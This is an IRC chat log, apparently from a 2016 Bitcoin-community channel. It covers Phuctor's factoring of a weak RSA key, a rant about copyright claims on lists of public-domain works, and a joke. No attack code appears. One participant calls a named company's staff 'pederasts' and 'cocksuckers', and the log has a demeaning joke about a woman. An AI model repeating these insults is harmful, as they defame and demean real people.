http://phuctor.nosuchlabs.com/gpgkey/F4414C79945FFC7B74189D650F0F50DE2A2091A0B09A532FBF63726E52980316 1473535;1464584715;mircea_popescu;whoa nelly that's a first factor! and of a proper exponent (65537( 1473536;1464584723;mircea_popescu;check it out asciilifeform we've got a whole new bidniss here! 1473537;1464584894;mircea_popescu;2009-11-03 1kb key, seems to have been in earnest use at some point back then 1473538;1464587601;mircea_popescu;http://alexanderstreet.com/page/about-us << check out the new generation of pederasts trying to milk the "intellectual property" faucet 1473539;1464590143;deedbot;[Trilema] Manpower - http://trilema.com/2016/manpower/ 1473540;1464604171;asciilifeform;;;later tell trinque phuctor feed here misses ~half of events... 1473541;1464604171;gribble;The operation succeeded. 1473542;1464604239;asciilifeform;http://btcbase.org/log/2016-05-30#1473538 << eh nothing new, this kind of atrocity dates to '90s even. 1473543;1464604282;asciilifeform;'authorized full test!11111 for authorized aryans!' 1473544;1464604291;asciilifeform;*full text 1473545;1464604332;asciilifeform;http://btcbase.org/log/2016-05-30#1473535 << eh we had one last week 1473546;1464604357;asciilifeform;and where the fuck is a111 ? 1473547;1464604381;asciilifeform;this is a disgrace. 1473548;1464604884;mircea_popescu;lol hai alf. 1473549;1464604994;mircea_popescu;anyway, no, the specific scam in question is that ~lists~ are copyrightable no matter their components, and these cocksuckers are trying to make LISTS of ancient / public domain / copyright freee items and then perversely claim copyright in them because "it's in our list", which is a bullshit claim but then again the us entirely runs on vapors and bullshit claims. 1473550;1464605889;mircea_popescu;somewhat disappointingly, if i grep the phuctored page for "ambroz" i discover the latest discovery is printed mid page. the rss page rescues the very recent - latest few items - but does nothing for the rest. 1473551;1464605939;mircea_popescu;in any case, i recall seeing in here reported the last 3 items there. and 4tyh. and 5th. can't be ~half now can it. 1473552;1464605967;mircea_popescu;6th an' 7th as well. 1473553;1464606452;mircea_popescu;in other lolz, blondy in train, puts her samsonite up, sits down, next movement of the train the thing falls on her head. 1473554;1464606472;mircea_popescu;"o my god, that looked bad, how's your head ?" 1473555;1464606477;mircea_popescu;"fine, it was empty." 1473556;1464606480;mircea_popescu;"and the bag ?" 1473557;1464611447;BingoBoingo;Selection https://i.imgur.com/czUw8iF.jpg